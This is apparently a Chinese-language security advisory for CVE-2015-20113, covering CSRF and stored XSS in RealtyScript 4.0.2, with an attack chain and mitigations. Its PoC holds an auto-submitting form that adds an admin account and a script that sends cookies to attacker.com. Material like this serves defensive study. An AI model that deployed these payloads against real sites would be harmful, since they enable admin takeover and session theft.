CVE-2015-20113: RealtyScript 4.0.2 CSRF与持久型XSS漏洞

漏洞信息

漏洞编号

CVE-2015-20113

漏洞类型

跨站请求伪造(CSRF), 持久型跨站脚本(XSS)

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Next Click Ventures RealtyScript 4.0.2

漏洞概述

CVE-2015-20113是Next Click Ventures RealtyScript 4.0.2版本中存在的安全漏洞，包含了跨站请求伪造(CSRF)和持久型跨站脚本(Persistent XSS)两种漏洞类型。该漏洞允许攻击者执行未授权的管理操作，并注入恶意脚本代码。由于该XSS为持久型存储型漏洞，恶意脚本会被保存在服务器端，所有访问受影响页面的用户都会受到攻击。攻击者可以构造恶意网页，当已登录的管理员访问时，会自动执行攻击者预设的请求，从而在管理员不知情的情况下完成敏感操作，如添加恶意管理员账户、修改系统配置等。同时，攻击者注入的恶意脚本可以在用户浏览器中执行，窃取会话令牌、劫持用户账户或进行钓鱼攻击。此漏洞无需认证即可利用，且无需用户交互，攻击门槛较低，危害范围较广。

技术细节

该漏洞主要包含两个安全缺陷。首先是跨站请求伪造(CSRF)漏洞：RealtyScript 4.0.2的管理后台缺少对关键操作(如添加用户、修改配置)的CSRF Token验证机制。攻击者可以构造包含恶意表单的网页，当管理员访问时，浏览器会自动向目标服务器发送携带管理员Cookie的请求，从而在管理员不知情的情况下执行添加管理员账户、删除数据等敏感操作。其次是持久型XSS漏洞：应用程序对用户输入的数据(如房产描述、用户资料等字段)缺乏充分的输入验证和输出编码，导致攻击者可以注入JavaScript等脚本代码。这些恶意代码会被永久存储在数据库中，当其他用户访问相关页面时，服务器会直接将恶意代码返回给用户浏览器执行。攻击者可以利用此漏洞窃取受害者的会话Cookie、进行键盘记录、修改页面内容或重定向用户到钓鱼网站。由于RealtyScript是房地产网站管理系统，攻击者还可能通过XSS漏洞窃取用户的个人信息和房产交易数据。

攻击链分析

STEP 1

步骤1

攻击者首先侦察目标网站，确认其运行RealtyScript 4.0.2版本，并识别出存在CSRF和XSS漏洞的端点

STEP 2

步骤2

攻击者构造包含恶意表单的CSRF页面，该表单会自动提交到RealtyScript的管理接口，尝试添加管理员账户或执行其他敏感操作

STEP 3

步骤3

攻击者通过社会工程学手段诱使管理员访问恶意网页(如发送钓鱼邮件、植入恶意链接等)

STEP 4

步骤4

管理员浏览器自动发送携带有效Session Cookie的请求到目标服务器，服务器执行攻击者预设的操作

STEP 5

步骤5

对于XSS漏洞，攻击者将恶意脚本注入到用户输入字段(如房产描述)，数据被永久存储到数据库

STEP 6

步骤6

当其他用户访问包含恶意脚本的页面时，脚本在其浏览器中执行，可窃取Cookie、会话信息或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<html> <body> <h1>RealtyScript CSRF Exploit - Add Admin</h1> <form action="http://target.com/admin/users/add" method="POST" id="exploit"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="role" value="admin"> <input type="hidden" name="submit" value="1"> </form> <script>document.getElementById('exploit').submit();</script> </body> </html>   <script> var cookie = document.cookie; var img = new Image(); img.src = "http://attacker.com/steal?c=" + encodeURIComponent(cookie); </script>

影响范围

Next Click Ventures RealtyScript 4.0.2

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1)禁用或限制管理后台的访问，仅允许通过受信任的IP地址访问；2)实施严格的Session管理策略，包括会话超时、定期刷新Session ID；3)在Web服务器层面配置XSS防护头(如X-XSS-Protection)；4)监控日志中的异常请求模式，及时发现CSRF攻击行为；5)对管理员进行安全意识培训，警惕钓鱼攻击；6)定期备份数据库以便在遭受攻击后快速恢复。